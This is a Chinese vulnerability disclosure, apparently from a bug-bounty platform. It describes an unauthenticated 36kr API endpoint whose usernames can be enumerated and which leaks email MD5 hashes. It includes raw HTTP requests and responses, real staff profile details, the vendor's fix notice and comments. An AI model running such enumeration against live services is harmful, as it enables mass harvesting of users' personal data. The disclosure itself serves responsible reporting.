36kr某功能设计不当导致可获取所有用户联系信息

1.今天装了个36kr的android app,在app里访问自己主页时抓包看了下。

GET /api/v1/users/我的用户名.json HTTP/1.1
 Host: apis.36kr.com
 Connection: Keep-Alive
 User-Agent: android-async-http/1.4.1 (http://loopj.com/android-async-http)
 Accept-Encoding: gzip

Response包如下：

HTTP/1.1 200 OK
 Server: Tengine
 Date: Thu, 14 Aug 2014 15:39:55 GMT
 Content-Type: application/json
 Content-Length: 267
 Connection: keep-alive
 Keep-Alive: timeout=20
 Status: 200 OK
 X-UA-Compatible: IE=Edge,chrome=1
 Cache-Control: max-age=0, private, must-revalidate
 X-Runtime: 0.006030
 X-Rack-Cache: miss
 weibo: at_xinzhixiang
 X-UA-Compatible: IE=Edge,chrome=1
 
 {"id":108xx,"name":"445xxx","login":"a445xxx","email":"","location":"","company":"","weibo":"","website":"","bio":"","tagline":"","gravatar_hash":"b3304f1ff2a6950e8893exxx","avatar_url":"http://a.36krcnd.com/user/normal_avatar/108xx.jpg"}

2.通过测试，GET /api/v1/users/我的用户名.json 用户名是可以进行遍历的,gravatar_hash md5值是邮箱的md5；

比如获取这位运营mm童鞋的信息：

GET /api/v1/users/Jivin.json HTTP/1.1

Host: apis.36kr.com

Connection: Keep-Alive

User-Agent: android-async-http/1.4.1 (http://loopj.com/android-async-http)

Accept-Encoding: gzip

HTTP/1.1 200 OK

Server: Tengine

Date: Thu, 14 Aug 2014 15:53:54 GMT

Content-Type: application/json

Content-Length: 360

Connection: keep-alive

Keep-Alive: timeout=20

Status: 200 OK

weibo: at_xinzhixiang

{"id":53904,"name":"Jivin","login":"Jivin","email":"lijinwen333+krl马赛克","location":"","company":"36Kr","weibo":"李锦雯_Jivin","website":"","bio":"","tagline":"痘痘姐，求祛痘良方。","gravatar_hash":"7d371541a03a42853c35454a42f9318b","avatar_url":"http://a.36krcnd.com/user/normal_avatar/53904.jpg"}

来个CEO滴:

GET /api/v1/users/techfans.json HTTP/1.1

Host: apis.36kr.com

Connection: Keep-Alive

User-Agent: android-async-http/1.4.1 (http://loopj.com/android-async-http)

Accept-Encoding: gzip

{"id":15,"name":"techfans","login":"techfans","email":"","location":null,"company":null,"weibo":null,"website":"http://www.techfans.net","bio":null,"tagline":null,"gravatar_hash":"18e9bafa8f18c163f53ed47f4117821f","avatar_url":"http://9429127371.a.uxengine.net/avatar/18e9bafa8f18c163f53ed47f4117821f.png?s=48"}

可批量：这里随便测试了些用户名：

验证接口权限。

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2014-08-15 09:00

厂商回复：

谢谢反馈，我们已经更新修复这个问题～

最新状态：

2014-08-15：谢谢反馈，我们已经更新修复这个问题～

1. 2014-08-15 09:16 | loli ( 普通白帽子 | Rank:649 漏洞数:59 | 每个男人心中都住着一个叫小红的88号技师。)

   2

   速度够快的。。

   1# 回复此人

2. 2014-08-18 21:00 | HHHO ( 路人 | Rank:0 漏洞数:2 | wohoooo)

   0

   只有5个rank，洞主您手疼心也疼吧

   2# 回复此人

3. 2014-08-20 17:22 | charles_zhang ( 路人 | Rank:4 漏洞数:1 | 做一个爱学习的小白帽。)

   1

   反馈这么快啊

   3# 回复此人

4. 2014-08-22 18:05 | IT偏执狂 ( 路人 | Rank:6 漏洞数:3 | 禁锢我们的究竟是什么？)

   1

   提交时间： 2014-08-15 08:50 修复时间： 2014-08-15 09:03

   4# 回复此人